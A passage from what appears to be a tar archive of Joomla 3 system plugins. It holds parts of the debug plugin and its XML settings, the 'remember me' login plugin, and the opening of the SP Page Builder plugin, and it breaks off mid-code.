				}

				$key = strtoupper(trim($key));
				$key = preg_replace('#\s+#', '_', $key);
				$key = preg_replace('#\W#', '', $key);

				// Prepare the text.
				$guesses[$file][] = $key . '="' . $guess . '"';
			}
		}

		$html = array();

		foreach ($guesses as $file => $keys)
		{
			$html[] = "\n\n# " . ($file ? $this->formatLink($file) : JText::_('PLG_DEBUG_UNKNOWN_FILE')) . "\n\n";
			$html[] = implode("\n", $keys);
		}

		return '<pre>' . implode('', $html) . '</pre>';
	}

	/**
	 * Simple highlight for SQL queries.
	 *
	 * @param   string  $query  The query to highlight.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function highlightQuery($query)
	{
		$newlineKeywords = '#\b(FROM|LEFT|INNER|OUTER|WHERE|SET|VALUES|ORDER|GROUP|HAVING|LIMIT|ON|AND|CASE)\b#i';

		$query = htmlspecialchars($query, ENT_QUOTES);

		$query = preg_replace($newlineKeywords, '<br />&#160;&#160;\\0', $query);

		$regex = array(

			// Tables are identified by the prefix.
			'/(=)/'                                        => '<b class="dbg-operator">$1</b>',

			// All uppercase words have a special meaning.
			'/(?<!\w|>)([A-Z_]{2,})(?!\w)/x'               => '<span class="dbg-command">$1</span>',

			// Tables are identified by the prefix.
			'/(' . $this->db->getPrefix() . '[a-z_0-9]+)/' => '<span class="dbg-table">$1</span>',

		);

		$query = preg_replace(array_keys($regex), array_values($regex), $query);

		$query = str_replace('*', '<b style="color: red;">*</b>', $query);

		return $query;
	}

	/**
	 * Render the backtrace.
	 *
	 * Stolen from JError to prevent it's removal.
	 *
	 * @param   Exception  $error  The Exception object to be rendered.
	 *
	 * @return  string     Rendered backtrace.
	 *
	 * @since   2.5
	 */
	protected function renderBacktrace($error)
	{
		return JLayoutHelper::render('joomla.error.backtrace', array('backtrace' => $error->getTrace()));
	}

	/**
	 * Replaces the Joomla! root with "JROOT" to improve readability.
	 * Formats a link with a special value xdebug.file_link_format
	 * from the php.ini file.
	 *
	 * @param   string  $file  The full path to the file.
	 * @param   string  $line  The line number.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function formatLink($file, $line = '')
	{
		return JHtml::_('debug.xdebuglink', $file, $line);
	}

	/**
	 * Store log messages so they can be displayed later.
	 * This function is passed log entries by JLogLoggerCallback.
	 *
	 * @param   JLogEntry  $entry  A log entry.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	public function logger(JLogEntry $entry)
	{
		$this->logEntries[] = $entry;
	}

	/**
	 * Display log messages.
	 *
	 * @return  string
	 *
	 * @since   3.1
	 */
	protected function displayLogs()
	{
		$priorities = array(
			JLog::EMERGENCY => '<span class="badge badge-important">EMERGENCY</span>',
			JLog::ALERT     => '<span class="badge badge-important">ALERT</span>',
			JLog::CRITICAL  => '<span class="badge badge-important">CRITICAL</span>',
			JLog::ERROR     => '<span class="badge badge-important">ERROR</span>',
			JLog::WARNING   => '<span class="badge badge-warning">WARNING</span>',
			JLog::NOTICE    => '<span class="badge badge-info">NOTICE</span>',
			JLog::INFO      => '<span class="badge badge-info">INFO</span>',
			JLog::DEBUG     => '<span class="badge">DEBUG</span>',
		);

		$out = '';

		$logEntriesTotal = count($this->logEntries);

		// SQL log entries
		$showExecutedSQL = $this->params->get('log-executed-sql', 0);

		if (!$showExecutedSQL)
		{
			$logEntriesDatabasequery = count(
				array_filter(
					$this->logEntries, function ($logEntry)
					{
						return $logEntry->category === 'databasequery';
					}
				)
			);
			$logEntriesTotal         -= $logEntriesDatabasequery;
		}

		// Deprecated log entries
		$logEntriesDeprecated = count(
			array_filter(
				$this->logEntries, function ($logEntry)
				{
					return $logEntry->category === 'deprecated';
				}
			)
		);
		$showDeprecated       = $this->params->get('log-deprecated', 0);

		if (!$showDeprecated)
		{
			$logEntriesTotal -= $logEntriesDeprecated;
		}

		$showEverything = $this->params->get('log-everything', 0);

		$out .= '<h4>' . JText::sprintf('PLG_DEBUG_LOGS_LOGGED', $logEntriesTotal) . '</h4><br />';

		if ($showDeprecated && $logEntriesDeprecated > 0)
		{
			$out .= '
			<div class="alert alert-warning">
				<h4>' . JText::sprintf('PLG_DEBUG_LOGS_DEPRECATED_FOUND_TITLE', $logEntriesDeprecated) . '</h4>
				<div>' . JText::_('PLG_DEBUG_LOGS_DEPRECATED_FOUND_TEXT') . '</div>
			</div>
			<br />';
		}

		$out   .= '<ol>';
		$count = 1;

		foreach ($this->logEntries as $entry)
		{
			// Don't show database queries if not selected.
			if (!$showExecutedSQL && $entry->category === 'databasequery')
			{
				continue;
			}

			// Don't show deprecated logs if not selected.
			if (!$showDeprecated && $entry->category === 'deprecated')
			{
				continue;
			}

			// Don't show everything logs if not selected.
			if (!$showEverything && !in_array($entry->category, array('deprecated', 'databasequery'), true))
			{
				continue;
			}

			$out .= '<li id="dbg_logs_' . $count . '">';
			$out .= '<h5>' . $priorities[$entry->priority] . ' ' . $entry->category . '</h5><br />
				<pre>' . $entry->message . '</pre>';

			if ($entry->callStack)
			{
				$out .= JHtml::_('bootstrap.startAccordion', 'dbg_logs_' . $count, array('active' => ''));
				$out .= JHtml::_('bootstrap.addSlide', 'dbg_logs_' . $count, JText::_('PLG_DEBUG_CALL_STACK'), 'dbg_logs_backtrace_' . $count);
				$out .= $this->renderCallStack($entry->callStack);
				$out .= JHtml::_('bootstrap.endSlide');
				$out .= JHtml::_('bootstrap.endAccordion');
			}

			$out .= '<hr /></li>';
			$count++;
		}

		$out .= '</ol>';

		return $out;
	}

	/**
	 * Renders call stack and back trace in HTML.
	 *
	 * @param   array  $callStack  The call stack and back trace array.
	 *
	 * @return  string  The call stack and back trace in HMTL format.
	 *
	 * @since   3.5
	 */
	protected function renderCallStack(array $callStack = array())
	{
		$htmlCallStack = '';

		if ($callStack !== null)
		{
			$htmlCallStack .= '<div>';
			$htmlCallStack .= '<table class="table table-striped dbg-query-table">';
			$htmlCallStack .= '<thead>';
			$htmlCallStack .= '<tr>';
			$htmlCallStack .= '<th>#</th>';
			$htmlCallStack .= '<th>' . JText::_('PLG_DEBUG_CALL_STACK_CALLER') . '</th>';
			$htmlCallStack .= '<th>' . JText::_('PLG_DEBUG_CALL_STACK_FILE_AND_LINE') . '</th>';
			$htmlCallStack .= '</tr>';
			$htmlCallStack .= '</thead>';
			$htmlCallStack .= '<tbody>';

			$count = count($callStack);

			foreach ($callStack as $call)
			{
				// Dont' back trace log classes.
				if (isset($call['class']) && strpos($call['class'], 'JLog') !== false)
				{
					$count--;
					continue;
				}

				$htmlCallStack .= '<tr>';

				$htmlCallStack .= '<td>' . $count . '</td>';

				$htmlCallStack .= '<td>';

				if (isset($call['class']))
				{
					// If entry has Class/Method print it.
					$htmlCallStack .= htmlspecialchars($call['class'] . $call['type'] . $call['function']) . '()';
				}
				else
				{
					if (isset($call['args']))
					{
						// If entry has args is a require/include.
						$htmlCallStack .= htmlspecialchars($call['function']) . ' ' . $this->formatLink($call['args'][0]);
					}
					else
					{
						// It's a function.
						$htmlCallStack .= htmlspecialchars($call['function']) . '()';
					}
				}

				$htmlCallStack .= '</td>';

				$htmlCallStack .= '<td>';

				// If entry doesn't have line and number the next is a call_user_func.
				if (!isset($call['file']) && !isset($call['line']))
				{
					$htmlCallStack .= JText::_('PLG_DEBUG_CALL_STACK_SAME_FILE');
				}
				// If entry has file and line print it.
				else
				{
					$htmlCallStack .= $this->formatLink(htmlspecialchars($call['file']), htmlspecialchars($call['line']));
				}

				$htmlCallStack .= '</td>';

				$htmlCallStack .= '</tr>';
				$count--;
			}

			$htmlCallStack .= '</tbody>';
			$htmlCallStack .= '</table>';
			$htmlCallStack .= '</div>';

			if (!$this->linkFormat)
			{
				$htmlCallStack .= '<div>[<a href="https://xdebug.org/docs/all_settings#file_link_format" target="_blank" rel="noopener noreferrer">';
				$htmlCallStack .= JText::_('PLG_DEBUG_LINK_FORMAT') . '</a>]</div>';
			}
		}

		return $htmlCallStack;
	}

	/**
	 * Pretty print JSON with colors.
	 *
	 * @param   string  $json  The json raw string.
	 *
	 * @return  string  The json string pretty printed.
	 *
	 * @since   3.5
	 */
	protected function prettyPrintJSON($json = '')
	{
		// In PHP 5.4.0 or later we have pretty print option.
		if (version_compare(PHP_VERSION, '5.4', '>='))
		{
			$json = json_encode($json, JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);
		}

		// Escape HTML in session vars
		$json = htmlentities($json);

		// Add some colors
		$json = preg_replace('#"([^"]+)":#', '<span class=\'black\'>"</span><span class=\'green\'>$1</span><span class=\'black\'>"</span>:', $json);
		$json = preg_replace('#"(|[^"]+)"(\n|\r\n|,)#', '<span class=\'grey\'>"$1"</span>$2', $json);
		$json = str_replace('null,', '<span class=\'blue\'>null</span>,', $json);

		return $json;
	}

	/**
	 * Write query to the log file
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	protected function writeToFile()
	{
		$app    = JFactory::getApplication();
		$domain = $app->isClient('site') ? 'site' : 'admin';
		$input  = $app->input;
		$file   = $app->get('log_path') . '/' . $domain . '_' . $input->get('option') . $input->get('view') . $input->get('layout') . '.sql.php';

		// Get the queries from log.
		$current = '';
		$db      = $this->db;
		$log     = $db->getLog();
		$timings = $db->getTimings();

		foreach ($log as $id => $query)
		{
			if (isset($timings[$id * 2 + 1]))
			{
				$temp    = str_replace('`', '', $log[$id]);
				$temp    = str_replace(array("\t", "\n", "\r\n"), ' ', $temp);
				$current .= $temp . ";\n";
			}
		}

		if (JFile::exists($file))
		{
			JFile::delete($file);
		}

		$head   = array('#');
		$head[] = '#<?php die(\'Forbidden.\'); ?>';
		$head[] = '#Date: ' . gmdate('Y-m-d H:i:s') . ' UTC';
		$head[] = '#Software: ' . \JPlatform::getLongVersion();
		$head[] = "\n";

		// Write new file.
		JFile::write($file, implode("\n", $head) . $current);
	}
}
                                                                                                                                                              system/debug/debug.xml                                                                              0000705                 00000017076 15242051521 0010774 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_debug</name>
	<author>Joomla! Project</author>
	<creationDate>December 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_DEBUG_XML_DESCRIPTION</description>
	<files>
		<filename plugin="debug">debug.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_debug.ini</language>
		<language tag="en-GB">en-GB.plg_system_debug.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="filter_groups"
					type="usergrouplist"
					label="PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL"
					description="PLG_DEBUG_FIELD_ALLOWED_GROUPS_DESC"
					multiple="true"
					filter="int_array"
					size="10"
				/>

				<field
					name="session"
					type="radio"
					label="PLG_DEBUG_FIELD_SESSION_LABEL"
					description="PLG_DEBUG_FIELD_SESSION_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="profile"
					type="radio"
					label="PLG_DEBUG_FIELD_PROFILING_LABEL"
					description="PLG_DEBUG_FIELD_PROFILING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="queries"
					type="radio"
					label="PLG_DEBUG_FIELD_QUERIES_LABEL"
					description="PLG_DEBUG_FIELD_QUERIES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="query_types"
					type="radio"
					label="PLG_DEBUG_FIELD_QUERY_TYPES_LABEL"
					description="PLG_DEBUG_FIELD_QUERY_TYPES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="memory"
					type="radio"
					label="PLG_DEBUG_FIELD_MEMORY_LABEL"
					description="PLG_DEBUG_FIELD_MEMORY_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="logs"
					type="radio"
					label="PLG_DEBUG_FIELD_LOGS_LABEL"
					description="PLG_DEBUG_FIELD_LOGS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="log_priorities"
					type="list"
					label="PLG_DEBUG_FIELD_LOG_PRIORITIES_LABEL"
					description="PLG_DEBUG_FIELD_LOG_PRIORITIES_DESC"
					multiple="true"
					default="all"
					>
					<option value="all">PLG_DEBUG_FIELD_LOG_PRIORITIES_ALL</option>
					<option value="emergency">PLG_DEBUG_FIELD_LOG_PRIORITIES_EMERGENCY</option>
					<option value="alert">PLG_DEBUG_FIELD_LOG_PRIORITIES_ALERT</option>
					<option value="critical">PLG_DEBUG_FIELD_LOG_PRIORITIES_CRITICAL</option>
					<option value="error">PLG_DEBUG_FIELD_LOG_PRIORITIES_ERROR</option>
					<option value="warning">PLG_DEBUG_FIELD_LOG_PRIORITIES_WARNING</option>
					<option value="notice">PLG_DEBUG_FIELD_LOG_PRIORITIES_NOTICE</option>
					<option value="info">PLG_DEBUG_FIELD_LOG_PRIORITIES_INFO</option>
					<option value="debug">PLG_DEBUG_FIELD_LOG_PRIORITIES_DEBUG</option>
				</field>

				<field
					name="log_categories"
					type="text"
					label="PLG_DEBUG_FIELD_LOG_CATEGORIES_LABEL"
					description="PLG_DEBUG_FIELD_LOG_CATEGORIES_DESC"
					size="60"
				/>

				<field
					name="log_category_mode"
					type="radio"
					label="PLG_DEBUG_FIELD_LOG_CATEGORY_MODE_LABEL"
					description="PLG_DEBUG_FIELD_LOG_CATEGORY_MODE_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno btn-group-reversed"
					>
					<option value="0">PLG_DEBUG_FIELD_LOG_CATEGORY_MODE_INCLUDE</option>
					<option value="1">PLG_DEBUG_FIELD_LOG_CATEGORY_MODE_EXCLUDE</option>
				</field>

				<field
					name="refresh_assets"
					type="radio"
					label="PLG_DEBUG_FIELD_REFRESH_ASSETS_LABEL"
					description="PLG_DEBUG_FIELD_REFRESH_ASSETS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>

			<fieldset
				name="language"
				label="PLG_DEBUG_LANGUAGE_FIELDSET_LABEL"
				>

				<field
					name="language_errorfiles"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL"
					description="PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="language_files"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL"
					description="PLG_DEBUG_FIELD_LANGUAGE_FILES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="language_strings"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL"
					description="PLG_DEBUG_FIELD_LANGUAGE_STRING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="strip-first"
					type="radio"
					label="PLG_DEBUG_FIELD_STRIP_FIRST_LABEL"
					description="PLG_DEBUG_FIELD_STRIP_FIRST_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="strip-prefix"
					type="textarea"
					label="PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL"
					description="PLG_DEBUG_FIELD_STRIP_PREFIX_DESC"
					cols="30"
					rows="4"
				/>

				<field
					name="strip-suffix"
					type="textarea"
					label="PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL"
					description="PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC"
					cols="30"
					rows="4"
				/>
			</fieldset>

			<fieldset
				name="logging"
				label="PLG_DEBUG_LOGGING_FIELDSET_LABEL"
				>
				<field
					name="log-deprecated"
					type="radio"
					label="PLG_DEBUG_FIELD_LOG_DEPRECATED_LABEL"
					description="PLG_DEBUG_FIELD_LOG_DEPRECATED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="log-everything"
					type="radio"
					label="PLG_DEBUG_FIELD_LOG_EVERYTHING_LABEL"
					description="PLG_DEBUG_FIELD_LOG_EVERYTHING_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="log-executed-sql"
					type="radio"
					label="PLG_DEBUG_FIELD_EXECUTEDSQL_LABEL"
					description="PLG_DEBUG_FIELD_EXECUTEDSQL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/remember/index.html                                                                          0000705                 00000000037 15242051521 0011656 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/remember/remember.php                                                                        0000705                 00000006607 15242051521 0012201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.remember
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! System Remember Me Plugin
 *
 * @since  1.5
 */

class PlgSystemRemember extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Remember me method to run onAfterInitialise
	 * Only purpose is to initialise the login authentication process if a cookie is present
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @throws  InvalidArgumentException
	 */
	public function onAfterInitialise()
	{
		// Get the application if not done by JPlugin. This may happen during upgrades from Joomla 2.5.
		if (!$this->app)
		{
			$this->app = JFactory::getApplication();
		}

		// No remember me for admin.
		if ($this->app->isClient('administrator'))
		{
			return;
		}

		// Check for a cookie if user is not logged in
		if (JFactory::getUser()->get('guest'))
		{
			$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

			// Try with old cookieName (pre 3.6.0) if not found
			if (!$this->app->input->cookie->get($cookieName))
			{
				$cookieName = JUserHelper::getShortHashedUserAgent();
			}

			// Check for the cookie
			if ($this->app->input->cookie->get($cookieName))
			{
				$this->app->login(array('username' => ''), array('silent' => true));
			}
		}
	}

	/**
	 * Imports the authentication plugin on user logout to make sure that the cookie is destroyed.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (remember, autoregister, group).
	 *
	 * @return  boolean
	 */
	public function onUserLogout($user, $options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

		// Check for the cookie
		if ($this->app->input->cookie->get($cookieName))
		{
			// Make sure authentication group is loaded to process onUserAfterLogout event
			JPluginHelper::importPlugin('authentication');
		}

		return true;
	}

	/**
	 * Method is called before user data is stored in the database
	 * Invalidate all existing remember-me cookies after a password change
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isnew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return    boolean
	 *
	 * @since   3.8.6
	 */
	public function onUserBeforeSave($user, $isnew, $data)
	{
		// Irrelevant on new users
		if ($isnew)
		{
			return true;
		}

		// Irrelevant, because password was not changed by user
		if (empty($data['password_clear']))
		{
			return true;
		}

		/*
		 * But now, we need to do something 
		 * Delete all tokens for this user!
		 */
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->delete('#__user_keys')
			->where($db->quoteName('user_id') . ' = ' . $db->quote($user['username']));
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// Log an alert for the site admin
			JLog::add(
				sprintf('Failed to delete cookie token for user %s with the following error: %s', $user['username'], $e->getMessage()),
				JLog::WARNING,
				'security'
			);
		}

		return true;
	}
}
                                                                                                                         system/remember/remember.xml                                                                        0000705                 00000001410 15242051521 0012175 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_remember</name>
	<author>Joomla! Project</author>
	<creationDate>April 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_REMEMBER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="remember">remember.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_remember.ini</language>
		<language tag="en-GB">en-GB.plg_system_remember.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                        system/sppagebuilder/sppagebuilder.php                                                              0000705                 00000031575 15242051521 0014263 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2016 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('restricted access');

require_once JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/helpers/integrations.php';

class  plgSystemSppagebuilder extends JPlugin {

  protected $autoloadLanguage = true;
  protected $pagebuilder_content = '[]';
  protected $pagebuilder_active = 0;

  function onBeforeRender() {
    $app = JFactory::getApplication();

    if($app->isAdmin()) {
      $integrations = $this->getIntegrations();
      if(!$integrations) return;

      $input = $app->input;
      $option = $input->get('option', '', 'STRING');
      $view = $input->get('view', '', 'STRING');
      $layout = $input->get('layout', '', 'STRING');
      $context = $option . '.' . $view;

      if(!array_key_exists($context, $integrations)) return;
      $integration = $integrations[$context];

      // Get ID
      $id = $input->get($integration['id_alias'], 0, 'INT');

      require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/builder/classes/base.php';
      require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/builder/classes/config.php';

      $this->loadPageBuilderLanguage();

      JHtml::_('jquery.ui', array('core', 'sortable'));
      $doc = JFactory::getDocument();
      $doc->addStylesheet( JURI::base(true) . '/components/com_sppagebuilder/assets/css/font-awesome.min.css' );
      $doc->addStylesheet( JURI::base(true) . '/components/com_sppagebuilder/assets/css/pbfont.css' );
      $doc->addStylesheet( JURI::base(true) . '/components/com_sppagebuilder/assets/css/react-select.css' );
      $doc->addStylesheet( JURI::base(true) . '/components/com_sppagebuilder/assets/css/sppagebuilder.css' );
      $doc->addScript( JURI::root(true) . '/plugins/system/sppagebuilder/assets/js/init.js' );
      $doc->addScript( JURI::root(true) . '/media/editors/tinymce/tinymce.min.js' );
      $doc->addScript( JURI::base(true) . '/components/com_sppagebuilder/assets/js/script.js' );
      $doc->addScriptdeclaration('var pagebuilder_base="' . JURI::root() . '";');


      // Addon List Initialize
      SpPgaeBuilderBase::loadAddons();
      $fa_icon_list     = SpPgaeBuilderBase::getIconList(); // Icon List
      $animateNames     = SpPgaeBuilderBase::getAnimationsList(); // Animation Names
      $accessLevels     = SpPgaeBuilderBase::getAccessLevelList(); // Access Levels
      $article_cats     = SpPgaeBuilderBase::getArticleCategories(); // Article Categories
      $moduleAttr       = SpPgaeBuilderBase::getModuleAttributes(); // Module Postions and Module Lits
      $rowSettings      = SpPgaeBuilderBase::getRowGlobalSettings(); // Row Settings Attributes
      $columnSettings   = SpPgaeBuilderBase::getColumnGlobalSettings(); // Column Settings Attributes
      $global_attributes = SpPgaeBuilderBase::addonOptions();

      // Addon List
      $addons_list    = SpAddonsConfig::$addons;
      $globalDefault = SpPgaeBuilderBase::getSettingsDefaultValue($global_attributes);

      JPluginHelper::importPlugin( 'system' );
	    $dispatcher = JEventDispatcher::getInstance();

      foreach ( $addons_list as $key => &$addon ) {
        $new_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($addon['attr']);
        $addon['default'] = array_merge($new_default_value['default'], $globalDefault['default']);
        $results = $dispatcher->trigger( 'onBeforeAddonConfigure', array($key, &$addon) );
      }

      $row_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($rowSettings['attr']);
      $rowSettings['default'] = $row_default_value;

      $column_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($columnSettings['attr']);
      $columnSettings['default'] = $column_default_value;

      $doc->addScriptdeclaration('var addonsJSON=' . json_encode($addons_list) . ';');

      // Addon Categories
      $addon_cats = SpPgaeBuilderBase::getAddonCategories($addons_list);
      $doc->addScriptdeclaration('var addonCats=' . json_encode($addon_cats) . ';');

      // Global Attributes
      $doc->addScriptdeclaration('var globalAttr=' . json_encode( $global_attributes ) . ';');
      $doc->addScriptdeclaration('var faIconList=' . json_encode( $fa_icon_list ) . ';');
      $doc->addScriptdeclaration('var animateNames=' . json_encode( $animateNames ) . ';');
      $doc->addScriptdeclaration('var accessLevels=' . json_encode( $accessLevels ) . ';');
      $doc->addScriptdeclaration('var articleCats=' . json_encode( $article_cats ) . ';');
      $doc->addScriptdeclaration('var moduleAttr=' . json_encode( $moduleAttr ) . ';');
      $doc->addScriptdeclaration('var rowSettings=' . json_encode( $rowSettings ) . ';');
      $doc->addScriptdeclaration('var colSettings=' . json_encode( $columnSettings ) . ';');
      $doc->addScriptdeclaration('var sppbMediaPath=\'/images\';');

      // Retrive content
      $pagebuilder_enbaled = 0;
      $initialState = '[]';

      if($page_content = $this->getPageContent($option, $view, $id)) {
        $pagebuilder_enbaled = $page_content->active;

        if(($page_content->text != '') && ($page_content->text != '[]')) {
          $initialState = $page_content->text;
          $this->pagebuilder_content = $page_content->text;
        }
        $this->pagebuilder_active = $pagebuilder_enbaled;
      }

      $integration_element = '.adminform';

      if($option == 'com_content') {
        $integration_element = '.adminform';
      } else if($option == 'com_k2') {
        $integration_element = '.k2ItemFormEditor';
      }

      $doc->addScriptdeclaration('var spIntergationElement="'. $integration_element .'";');
      $doc->addScriptdeclaration('var spPagebuilderEnabled='. $pagebuilder_enbaled .';');
      $doc->addScriptdeclaration('var initialState='. $initialState .';');
    } else {
      $input  = $app->input;
      $option = $input->get('option', '', 'STRING');
      $view   = $input->get('view', '', 'STRING');
      $task   = $input->get('task', '', 'STRING');
      $id     = $input->get('id', 0, 'INT');
      $pageName = '';

      if($option == 'com_content' && $view == 'article'){
        $pageName = "{$view}-{$id}.css";
      } elseif( $option == 'com_j2store' && $view == 'products' && $task == 'view' ){
        $pageName = "article-{$id}.css";
      } elseif( $option == 'com_k2' && $view == 'item'){
        $pageName = "item-{$id}.css";
      }elseif ($option == 'com_sppagebuilder' && $view == 'page') {
        $pageName = "{$view}-{$id}.css";
      }

      $file_path  = JPATH_ROOT . '/media/sppagebuilder/css/'.$pageName;
      $file_url   = JUri::base(true) . '/media/sppagebuilder/css/'.$pageName;
      if(file_exists($file_path)){
        $doc = JFactory::getDocument();
        $doc->addStyleSheet($file_url);
      }
    }
  }


  function onAfterRender() {
    $app = JFactory::getApplication();

    if($app->isAdmin()) {
      $integrations = $this->getIntegrations();
      if(!$integrations) return;

      $input = $app->input;
      $option = $input->get('option', '', 'STRING');
      $view = $input->get('view', '', 'STRING');
      $layout = $input->get('layout', '', 'STRING');
      $context = $option . '.' . $view;

      if(!array_key_exists($context, $integrations)) return;

      // Add script
      $body = JResponse::getBody();
      if($option == 'com_k2') {
        $body = str_replace('<div class="k2ItemFormEditor">', '<div class="sp-pagebuilder-btn-group sp-pagebuilder-btns-alt"><a href="#" class="sp-pagebuilder-btn sp-pagebuilder-btn-default sp-pagebuilder-btn-switcher btn-action-editor" data-action="editor">Joomla Editor</a><a data-action="sppagebuilder" href="#" class="sp-pagebuilder-btn sp-pagebuilder-btn-default sp-pagebuilder-btn-switcher btn-action-sppagebuilder">SP Page Builder</a></div><div class="sp-pagebuilder-admin pagebuilder-'. str_replace('_', '-', $option) .'" style="display: none;"><div id="sp-pagebuilder-page-tools" class="clearfix sp-pagebuilder-page-tools"></div><div class="sp-pagebuilder-sidebar-and-builder"><div id="sp-pagebuilder-section-lib" class="clearfix sp-pagebuilder-section-lib"></div><div id="container"></div></div></div><div class="k2ItemFormEditor">', $body);
      } else {
